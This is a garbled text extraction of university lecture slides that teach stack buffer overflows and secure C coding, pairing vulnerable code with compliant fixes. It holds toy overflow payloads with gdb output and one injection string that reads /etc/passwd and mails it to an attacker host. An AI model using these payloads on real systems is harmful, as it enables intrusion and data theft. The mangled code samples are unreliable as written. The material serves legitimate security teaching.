Académique Documents
Professionnel Documents
Culture Documents
Lef Ioannidis
MIT EECS
January 5, 2014
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Introductions
Me
Junior at MIT, course 6.2. Interested in Computer Security,
Operating Systems, Distributed Computing and System
Administration.
You
Computer programmers with knowledge in C and Systems,
can read assembly, interested in writing secure code.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Lecture Roadmap
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
http://duartes.org/gustavo/blog/
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Vulnerable code
1
#i n c l u d e <s t r i n g . h >
2
3
#d e f i n e g o o d P a s s GOODPASS
4
5
6
7
i n t main ( ) {
c h a r p a s s I s G o o d =0 ;
char buf [ 8 0 ] ;
p r i n t f ( E n t e r p a s s w o r d : \ n ) ;
gets ( buf ) ;
9
10
11
i f ( s t r c m p ( buf , g o o d P a s s )==0)
p a s s I s G o o d =1 ;
i f ( p a s s I s G o o d == 1 )
p r i n t f ( You win ! \ n ) ;
12
13
14
15
16
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
/bin/bash
$ python -c " print x*80 + \x01 " | ./test1
Enter password:
You win!
$
courier
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
/bin/bash
$ python -c " print x*80 + \x01 " | ./test1
Enter password:
You win!
$
courier
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
#i n c l u d e <s t r i n g . h >
#i n c l u d e <s t d i o . h >
3
4
5
#d e f i n e g o o d P a s s GOODPASS
#d e f i n e STRSIZE 80
6
7
8
9
i n t main ( ) {
c h a r p a s s I s G o o d =0 ;
c h a r b u f [ STRSIZE+1] ;
10
p r i n t f ( E n t e r p a s s w o r d : \ n ) ;
f g e t s ( buf , STRSIZE , s t d i n ) ;
11
12
13
14
15
16
17
18
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
MIT EECS
Stack frames: C
5
6
7
8
v o i d main ( ) {
function (1 ,2 ,3) ;
}
MIT EECS
function :
pushl
movl
subl
leave
ret
.size
. g l o b l main
.type
main :
pushl
movl
subl
movl
movl
movl
call
leave
ret
%ebp
%esp , %ebp
$16 , %e s p
f u n c t i o n , . f u n c t i o n
main , @ f u n c t i o n
%ebp
%esp , %ebp
$12 , %e s p
$3 , 8(% e s p )
$2 , 4(% e s p )
$1 , (% e s p )
function
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
1
2
3
4
5
subl
movl
movl
movl
call
$12 , %e s p
$3 , 8(% e s p )
$2 , 4(% e s p )
$1 , (% e s p )
function
3 sizeof(int) = 12 bytes.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
1
2
3
4
5
subl
movl
movl
movl
call
$12 , %e s p
$3 , 8(% e s p )
$2 , 4(% e s p )
$1 , (% e s p )
function
1
2
3
4
function :
p u s h l %ebp
movl %esp , %ebp
s u b l $16 , %e s p
Pushes the base pointer (EBP) in the stack, now its a saved
frame pointer (SFP).
Moves the stack pointer (ESP) in EBP, substituting the
previous address.
Subtracts space for the local variables from ESP.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Figures: http://skyrooks.ru
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
1
2
3
i n t main ( ) {
int cookie ;
char buf [ 8 0 ] ;
5
6
7
i f ( c o o k i e == 0 x 0 0 0 a 0 d 0 0 )
p r i n t f ( you win ! \ n ) ;
8
9
10
http://community.corest.com/ gera/InsecureProgramming/
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
i n t main ( ) {
int cookie ;
char buf [ 8 0 ] ;
5
6
7
i f ( c o o k i e == 0 x 0 0 0 a 0 d 0 0 )
p r i n t f ( you win ! \ n ) ;
8
9
10
MIT EECS
i n t main ( ) {
int cookie ;
char buf [ 8 0 ] ;
5
6
7
i f ( c o o k i e == 0 x 0 0 0 a 0 d 0 0 )
p r i n t f ( you win ! \ n ) ;
8
9
10
MIT EECS
Exploiting stack#4.c
/bin/bash
$ gdb stack4
(gdb) r
Starting program: stack4
buf: bffff58c cookie: bffff5dc
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
$
courier
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
0 x 08 0 4 84 2 4
0 x 08 0 4 84 2 5
0 x 08 0 4 84 2 7
0 x0804842a
0 x0804842d
0 x 08 0 4 84 3 1
0 x 08 0 4 84 3 5
0 x 08 0 4 84 3 9
0 x0804843d
0 x 08 0 4 84 4 4
0 x 08 0 4 84 4 9
0 x0804844d
0 x 08 0 4 84 5 0
0 x 08 0 4 84 5 5
0 x 08 0 4 84 5 9
0 x0804845e
0 x 08 0 4 84 6 0
0 x 08 0 4 84 6 7
0 x0804846c
0 x0804846d
<main+0>: pu sh
<main+1>: mov
<main+3>: and
<main+6>: s u b
<main+9>: l e a
<main +13>: mov
<main +17>: l e a
<main +21>: mov
<main +25>: movl
<main +32>: c a l l
<main +37>: l e a
<main +41>: mov
<main +44>: c a l l
<main +49>: mov
<main +53>: cmp
<main +58>: j n e
<main +60>: movl
<main +67>: c a l l
<main +72>: l e a v e
<main +73>: r e t
Lef Ioannidis
How to secure your stack for fun and profit
%ebp
%esp ,% ebp
$ 0 x f f f f f f f 0 ,% e s p
$0x70 ,% e s p
0 x 6 c(% e s p ) ,% e a x
%eax , 0 x8(% e s p )
0 x 1 c(% e s p ) ,% e a x
%eax , 0 x4(% e s p )
$0x8048530 ,(% e s p )
0 x8048350 < p r i n t f @ p l t >
0 x 1 c(% e s p ) ,% e a x
%eax ,(% e s p )
0 x8048330 <g e t s @ p l t >
0 x 6 c(% e s p ) ,% e a x
$0xa0d00 ,% e a x
0 x 8 0 4 8 4 6 c <main+72>
$0x8048548 ,(% e s p )
0 x8048360 <p u t s @ p l t >
MIT EECS
Registers
/bin/gdb stack4
(gdb) b *0x0804846d
(gdb) r
Starting program: stack4
buf: bffff58c cookie: bffff5dc
aaaaaaaaaaaaaaaa
Breakpoint 1, 0x0804846d in main () at stack4.c:13
(gdb) info registers
eax
0xb7fc8ff4 -1208184844
ecx
0xbffff58c -1073744500
edx
0xb7fca334 -1208179916
ebx
0xb7fc8ff4 -1208184844
esp
0xbffff5ec 0xbffff5ec
ebp
0xbffff668 0xbffff668
esi
0x0 0
edi
0x0 0
eip
0x804846d 0x804846d <main+73>
courier
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
0 x 08 0 4 84 5 9
0 x0804845e
0 x 08 0 4 84 6 0
0 x 08 0 4 84 6 7
<main +53>:
<main +58>:
<main +60>:
<main +67>:
cmp
jne
movl
call
$0xa0d00 ,% e a x
0 x 8 0 4 8 4 6 c <main+72>
$0x8048548 ,(% e s p )
0 x8048360 <p u t s @ p l t >
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
/bin/bash
$ python -c print a * 96 + \x60\x84\x04\x08 |
./test1
buf: bffff58c cookie: bffff5dc
you win!
Segmentation fault
$
courier
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
courier
courier
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Other Attacks
- Off-by-one exploits
Common programming mistake when computing array boundaries.
In little endian architectures this can result in overwriting the least
significant byte.
Apache off-by-one bug 2007, sudo off-by-one bug 2008 etc.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Other Attacks
- Return-to-libc
Similar in principal to a buffer overflow but instead of executing
arbitrary shellcode you call functions from libc.so.
Works when a noexec stack is enforced.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Other Attacks
- Heap Overflow
Taking advantage of libc bugs to take over dynamicaly allocated
memory, or even the memory allocator itself. Many 0-day exploits
nowdays are heap overflows.
He who controls the allocator, controls the system! - Anonymous
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
More information
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
MIT EECS
Bad code examples will help you learn how to write secure code
and prevent:
Security Holes
Undefined beheaviour
Obscurity
Errors
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
1
2
3
i n t main ( i n t a r g c , c h a r a r g v [ ] ) {
char cmdline [4096] ;
c m d l i n e [ 0 ] = \0 ;
f o r ( i n t i = 1 ; i < a r g c ; ++i ) {
s t r c a t ( cmdline , argv [ i ] ) ;
s t r c a t ( cmdline , ) ;
}
/ . . . /
return 0 ;
5
6
7
8
9
10
11
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Compliant code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
i n t main ( i n t a r g c , c h a r a r g v [ ] ) {
size t bufsize = 0;
size t buflen = 0 ;
c h a r c m d l i n e = NULL ;
f o r ( i n t i = 1 ; i < a r g c ; ++i ) {
const s i z e t len = s t r l e n ( argv [ i ] ) ;
i f ( b u f s i z e b u f l e n <= l e n ) {
bufsize = ( bufsize + len ) 2 ;
cmdline = r e a l l o c ( cmdline , b u f s i z e ) ;
i f (NULL == c m d l i n e )
return 1 ;
/ r e a l l o c f a i l u r e /
}
memcpy ( c m d l i n e + b u f l e n , a r g v [ i ] , l e n ) ;
b u f l e n += l e n ;
c m d l i n e [ b u f l e n ++] = ;
}
c m d l i n e [ b u f l e n ] = \0 ;
/ . . . /
f r e e ( cmdline ) ;
return 0 ;
}
21
Lef Ioannidis
MIT EECS
c h a r b u f [ BUFSIZ ] ;
2
3
4
5
i f ( g e t s ( b u f ) == NULL) {
/ H a n d l e E r r o r /
}
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Compliant code
1
2
3
c h a r b u f [ BUFFERSIZE ] ;
i n t ch ;
c h a r p ;
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
i f ( f g e t s ( buf , s i z e o f ( b u f ) , s t d i n ) ) {
/ f g e t s s u c c e e d s , s c a n f o r n e w l i n e c h a r a c t e r /
p = s t r c h r ( buf , \n ) ;
i f (p)
p = \0 ;
else {
/ n e w l i n e n o t found , f l u s h s t d i n t o end o f l i n e /
w h i l e ( ( ( ch = g e t c h a r ( ) ) != \n )
&& ! f e o f ( s t d i n )
&& ! f e r r o r ( s t d i n )
);
}
}
else {
/ f g e t s f a i l e d , h a n d l e e r r o r /
}
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
1
2
3
4
char s t r i n g d a t a ;
char a [ 1 6 ] ;
/ . . . /
strncpy (a , string data ,
Lef Ioannidis
How to secure your stack for fun and profit
s i z e o f (a )) ;
MIT EECS
Compliant solution:
1
2
c h a r s t r i n g d a t a = NULL ;
char a [ 1 6 ] ;
3
4
/ . . . /
5
6
7
8
9
10
11
12
13
14
i f ( s t r i n g d a t a == NULL) {
/ H a n d l e n u l l p o i n t e r e r r o r /
}
e l s e i f ( s t r l e n ( s t r i n g d a t a ) >= s i z e o f ( a ) ) {
/ H a n d l e o v e r l o n g s t r i n g e r r o r /
}
else {
strcpy (a , string data ) ;
}
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
1
2
s p r i n t f ( b u f f e r , / b i n / m a i l %s < /tmp/ e m a i l , a d d r ) ;
system ( b u f f e r ) ;
Viega, John, & Messier, Matt. Secure Programming Cookbook for C and C++: Recipes for Cryptography,
Authentication, Networking, Input Validation & More.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
1
2
s p r i n t f ( b u f f e r , / b i n / m a i l %s < /tmp/ e m a i l , a d d r ) ;
system ( b u f f e r ) ;
What if:
bogus@addr.com; cat /etc/passwd |mail somebadguy.net
Viega, John, & Messier, Matt. Secure Programming Cookbook for C and C++: Recipes for Cryptography,
Authentication, Networking, Input Validation & More.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
1
2
3
4
5
6
7
8
9
10
11
MIT EECS
Off-by-one errors
Can you find all the off-by-one errors?
1
2
3
4
5
6
7
8
9
10
i n t main ( i n t a r g c , c h a r a r g v [ ] ) {
char source [ 1 0 ] ;
s t r c p y ( s o u r c e , 0123456789 ) ;
char d e s t = ( char ) malloc ( s t r l e n ( s o u r c e ) ) ;
f o r ( i n t i =1 ; i <= 1 1 ; i ++) {
dest [ i ] = source [ i ] ;
}
d e s t [ i ] = \0 ;
p r i n t f ( d e s t = %s , d e s t ) ;
}
MIT EECS
u n s i g n e d i n t u i 1 , u i 2 , usum ;
2
3
/ I n i t i a l i z e
u i 1 and u i 2 /
4
5
usum = u i 1 + u i 2 ;
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Compliant code
u n s i g n e d i n t u i 1 , u i 2 , usum ;
2
3
/ I n i t i a l i z e
u i 1 and u i 2 /
4
5
6
7
8
9
10
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
result ;
2
3
/ I n i t i a l i z e
s i 1 and s i 2 /
4
5
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Compliant code
result ;
2
3
/ I n i t i a l i z e
s i 1 and s i 2 /
4
5
6
7
8
9
10
11
if
}
else {
result = si1 si2 ;
}
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
1
2
result ;
3
4
/ . . . /
5
6
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Compliant code
1
result ;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/ I n i t i a l i z e s i 1 and s i 2 /
static assert (
s i z e o f ( l o n g l o n g ) >= 2 s i z e o f ( i n t ) ,
Unable to d e t e c t o v e r f l o w a f t e r m u l t i p l i c a t i o n
);
s i g n e d l o n g l o n g tmp = ( s i g n e d l o n g l o n g ) s i 1
( signed long long ) s i 2 ;
/
I f t h e p r o d u c t c a n n o t be r e p r e s e n t e d a s a 32 b i t i n t e g e r ,
h a n d l e a s an e r r o r c o n d i t i o n .
/
i f ( ( tmp > INT MAX ) | | ( tmp < INT MIN ) ) {
/ h a n d l e e r r o r c o n d i t i o n /
}
else {
r e s u l t = ( i n t ) tmp ;
}
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
#d e f i n e CUBE(X) ( ( X) (X) (X ) )
int i = 2;
i n t a = 81 / CUBE(++ i ) ;
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
#d e f i n e CUBE(X) ( ( X) (X) (X ) )
int i = 2;
i n t a = 81 / CUBE(++ i ) ;
Expands to:
1
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
#d e f i n e CUBE(X) ( ( X) (X) (X ) )
int i = 2;
i n t a = 81 / CUBE(++ i ) ;
Expands to:
1
Compliant code
1
2
3
4
5
i n l i n e i n t cube ( i n t i ) {
return i i i ;
}
int i = 2;
i n t a = 81 / c u b e(++ i ) ;
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
1
2
3
4
i n t nums [ SIZE ] ;
c h a r s t r i n g s [ SIZE ] ;
i n t n e x t n u m p t r = nums ;
int free bytes ;
5
6
/ i n c r e m e n t n e x t n u m p t r a s a r r a y
f i l l s /
7
8
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Compliant solution
1
2
3
4
i n t nums [ SIZE ] ;
c h a r s t r i n g s [ SIZE ] ;
i n t n e x t n u m p t r = nums ;
int free bytes ;
5
6
/ i n c r e m e n t n e x t n u m p t r a s a r r a y
f i l l s /
7
8
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Non-compliant code
1
2
#d e f i n e F ( x ) (++ o p e r a t i o n s , ++c a l l s t o F , 2 x )
#d e f i n e G( x ) (++ o p e r a t i o n s , ++c a l l s t o G , x + 1 )
3
4
y = F ( x ) + G( x ) ;
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Non-compliant code
1
2
#d e f i n e F ( x ) (++ o p e r a t i o n s , ++c a l l s t o F , 2 x )
#d e f i n e G( x ) (++ o p e r a t i o n s , ++c a l l s t o G , x + 1 )
3
4
y = F ( x ) + G( x ) ;
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Compliant code
1
2
3
4
5
6
7
8
9
10
11
12
y = f (x) + g(x) ;
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Lef Ioannidis
How to secure your stack for fun and profit
append()
nappend()
compare()
find()
copy()
length()
sprintf()
vsprintf()
strcat()
strncat()
strcpy()
strncpy()
strcmp()
strlen()
sprintf()
vsprintf()
MIT EECS
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Examples
PaX on Linux
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Examples
PaX on Linux
OpenBSD kernel
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Examples
PaX on Linux
OpenBSD kernel
Hardened Gentoo
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Examples
PaX on Linux
OpenBSD kernel
Hardened Gentoo
grsecurity
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Examples
PaX on Linux
OpenBSD kernel
Hardened Gentoo
grsecurity
Microsoft Windows Server 2008 R2
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
Thats all!
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS